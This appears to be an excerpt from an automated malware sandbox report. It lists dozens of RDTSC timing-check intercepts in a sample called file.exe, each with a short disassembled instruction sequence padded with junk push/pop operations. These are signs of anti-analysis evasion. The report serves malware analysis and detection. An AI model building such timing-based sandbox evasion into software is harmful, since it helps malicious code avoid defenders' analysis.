Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380D87 second address: 5380D8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380D8D second address: 5380D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380D91 second address: 5380DD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov cx, 063Bh 0x0000000e mov si, CB17h 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 jmp 00007FD288CC4A6Ah 0x00000019 mov ebp, esp 0x0000001b jmp 00007FD288CC4A70h 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 call 00007FD288CC4A6Dh 0x00000029 pop eax 0x0000002a mov bx, 0594h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0682 second address: 53C0695 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, bx 0x00000006 mov cx, dx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0695 second address: 53C0699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0699 second address: 53C069F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C069F second address: 53C0703 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, bx 0x00000006 mov si, di 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d pushad 0x0000000e movsx edx, ax 0x00000011 mov esi, 1C411713h 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 pushad 0x0000001a movzx esi, di 0x0000001d mov bh, 11h 0x0000001f popad 0x00000020 pop ebp 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 call 00007FD288CC4A75h 0x00000029 pop eax 0x0000002a pushfd 0x0000002b jmp 00007FD288CC4A71h 0x00000030 and ax, 5736h 0x00000035 jmp 00007FD288CC4A71h 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360173 second address: 536018F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536018F second address: 5360193 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360193 second address: 5360199 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5360199 second address: 536019F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 536019F second address: 53601A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380A2E second address: 5380A32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380A32 second address: 5380A38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380634 second address: 538064B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov ebp, esp 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD288CC4A6Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538064B second address: 5380668 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53804E0 second address: 5380557 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD288CC4A6Fh 0x00000008 pushfd 0x00000009 jmp 00007FD288CC4A78h 0x0000000e xor eax, 2365FB88h 0x00000014 jmp 00007FD288CC4A6Bh 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e jmp 00007FD288CC4A79h 0x00000023 xchg eax, ebp 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FD288CC4A78h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380557 second address: 538055B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538055B second address: 5380561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380561 second address: 538058E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FD2884F85D7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538058E second address: 5380593 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380593 second address: 53805A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, 15D8h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53805A5 second address: 53805A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53805A9 second address: 53805AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53802B6 second address: 53802F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A72h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD288CC4A70h 0x0000000f push eax 0x00000010 jmp 00007FD288CC4A6Bh 0x00000015 xchg eax, ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53802F0 second address: 53802F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53802F4 second address: 53802FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390106 second address: 539010C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 539010C second address: 5390184 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov cx, 034Dh 0x0000000f pushfd 0x00000010 jmp 00007FD288CC4A6Ah 0x00000015 xor eax, 4188B268h 0x0000001b jmp 00007FD288CC4A6Bh 0x00000020 popfd 0x00000021 popad 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007FD288CC4A72h 0x0000002c add eax, 1EAD84C8h 0x00000032 jmp 00007FD288CC4A6Bh 0x00000037 popfd 0x00000038 jmp 00007FD288CC4A78h 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C05FF second address: 53C0604 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53C0604 second address: 53C060A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A0332 second address: 53A0383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FD2884F85D1h 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FD2884F85D1h 0x0000000f sbb si, 1946h 0x00000014 jmp 00007FD2884F85D1h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FD2884F85CDh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A0383 second address: 53A0389 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A0389 second address: 53A03D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD2884F85CFh 0x00000013 sub cx, 05DEh 0x00000018 jmp 00007FD2884F85D9h 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 mov si, 10FDh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A03D9 second address: 53A0451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 xchg eax, ebp 0x00000006 jmp 00007FD288CC4A6Fh 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov esi, 172602ABh 0x00000013 pushfd 0x00000014 jmp 00007FD288CC4A70h 0x00000019 sbb al, 00000038h 0x0000001c jmp 00007FD288CC4A6Bh 0x00000021 popfd 0x00000022 popad 0x00000023 mov eax, dword ptr [ebp+08h] 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FD288CC4A6Bh 0x0000002d add eax, 26C2E5FEh 0x00000033 jmp 00007FD288CC4A79h 0x00000038 popfd 0x00000039 popad 0x0000003a and dword ptr [eax], 00000000h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A0451 second address: 53A0455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A0455 second address: 53A0459 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A0459 second address: 53A045F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538043C second address: 5380471 instructions: 0x00000000 rdtsc 0x00000002 mov dh, DFh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov bl, ah 0x00000008 popad 0x00000009 push ecx 0x0000000a pushad 0x0000000b mov ecx, 617CF3AFh 0x00000010 mov bl, ah 0x00000012 popad 0x00000013 mov dword ptr [esp], ebp 0x00000016 jmp 00007FD288CC4A77h 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380471 second address: 5380475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5380475 second address: 538047B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 538047B second address: 5380498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2884F85D9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390E40 second address: 5390E44 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390E44 second address: 5390E48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390E48 second address: 5390E4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390E4E second address: 5390E6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5390E6D second address: 5390E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A0102 second address: 53A013A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FD2884F85CDh 0x00000013 jmp 00007FD2884F85CBh 0x00000018 popfd 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A013A second address: 53A013F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A013F second address: 53A0155 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2884F85D2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A0155 second address: 53A0159 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A0159 second address: 53A01AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c call 00007FD2884F85D3h 0x00000011 pop eax 0x00000012 pushfd 0x00000013 jmp 00007FD2884F85D9h 0x00000018 xor esi, 5E7FE226h 0x0000001e jmp 00007FD2884F85D1h 0x00000023 popfd 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A01AC second address: 53A01D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FD288CC4A6Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A01D1 second address: 53A01D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A01D7 second address: 53A01DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53A01DB second address: 53A01F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov bx, BE28h 0x0000000f pushad 0x00000010 mov edi, 0A00A972h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0D24 second address: 53B0D60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A71h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FD288CC4A6Eh 0x0000000f mov ebp, esp 0x00000011 jmp 00007FD288CC4A70h 0x00000016 xchg eax, ecx 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0D60 second address: 53B0D64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0D64 second address: 53B0D86 instructions: 0x00000000 rdtsc 0x00000002 mov dx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007FD288CC4A72h 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0D86 second address: 53B0D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0D8A second address: 53B0D90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0D90 second address: 53B0D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0D96 second address: 53B0D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0D9A second address: 53B0E11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [774365FCh] 0x0000000d pushad 0x0000000e push esi 0x0000000f pushfd 0x00000010 jmp 00007FD2884F85CFh 0x00000015 or ax, A27Eh 0x0000001a jmp 00007FD2884F85D9h 0x0000001f popfd 0x00000020 pop esi 0x00000021 mov ax, di 0x00000024 popad 0x00000025 test eax, eax 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007FD2884F85D4h 0x00000030 jmp 00007FD2884F85D5h 0x00000035 popfd 0x00000036 movzx ecx, bx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0E11 second address: 53B0E2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007FD2FACC75ADh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0E2C second address: 53B0E31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0E31 second address: 53B0E90 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A76h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b jmp 00007FD288CC4A70h 0x00000010 xor eax, dword ptr [ebp+08h] 0x00000013 pushad 0x00000014 push edi 0x00000015 pushfd 0x00000016 jmp 00007FD288CC4A6Ah 0x0000001b sbb ecx, 338C83C8h 0x00000021 jmp 00007FD288CC4A6Bh 0x00000026 popfd 0x00000027 pop ecx 0x00000028 mov esi, ebx 0x0000002a popad 0x0000002b and ecx, 1Fh 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 mov cx, F5D3h 0x00000035 pushad 0x00000036 popad 0x00000037 popad 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0E90 second address: 53B0E9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ror eax, cl 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0E9E second address: 53B0EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0EA2 second address: 53B0EB8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2884F85D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0EB8 second address: 53B0F31 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007FD288CC4A76h 0x0000000f retn 0004h 0x00000012 nop 0x00000013 mov esi, eax 0x00000015 lea eax, dword ptr [ebp-08h] 0x00000018 xor esi, dword ptr [00BA2014h] 0x0000001e push eax 0x0000001f push eax 0x00000020 push eax 0x00000021 lea eax, dword ptr [ebp-10h] 0x00000024 push eax 0x00000025 call 00007FD28D515887h 0x0000002a push FFFFFFFEh 0x0000002c jmp 00007FD288CC4A70h 0x00000031 pop eax 0x00000032 jmp 00007FD288CC4A70h 0x00000037 ret 0x00000038 nop 0x00000039 push eax 0x0000003a call 00007FD28D5158A4h 0x0000003f mov edi, edi 0x00000041 jmp 00007FD288CC4A70h 0x00000046 xchg eax, ebp 0x00000047 push eax 0x00000048 push edx 0x00000049 jmp 00007FD288CC4A77h 0x0000004e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0F31 second address: 53B0F49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2884F85D4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0F49 second address: 53B0F7B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD288CC4A6Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FD288CC4A79h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0F7B second address: 53B0F7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0F7F second address: 53B0F83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53B0F83 second address: 53B0F89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370007 second address: 5370060 instructions: 0x00000000 rdtsc 0x00000002 mov dh, cl 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 mov si, B667h 0x0000000b pop eax 0x0000000c popad 0x0000000d push ebp 0x0000000e pushad 0x0000000f mov eax, 1DC8E675h 0x00000014 movzx esi, di 0x00000017 popad 0x00000018 mov dword ptr [esp], ebp 0x0000001b jmp 00007FD288CC4A6Dh 0x00000020 mov ebp, esp 0x00000022 pushad 0x00000023 mov ax, 0DE3h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushfd 0x0000002a jmp 00007FD288CC4A76h 0x0000002f xor si, C628h 0x00000034 jmp 00007FD288CC4A6Bh 0x00000039 popfd 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5370060 second address: 537009A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 and esp, FFFFFFF8h 0x00000008 jmp 00007FD2884F85D5h 0x0000000d xchg eax, ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD2884F85D8h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537009A second address: 537009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 537009E second address: 53700A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53700A4 second address: 53700D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 jmp 00007FD288CC4A78h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD288CC4A6Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53700D6 second address: 53700DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 53700DC second address: 53700E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
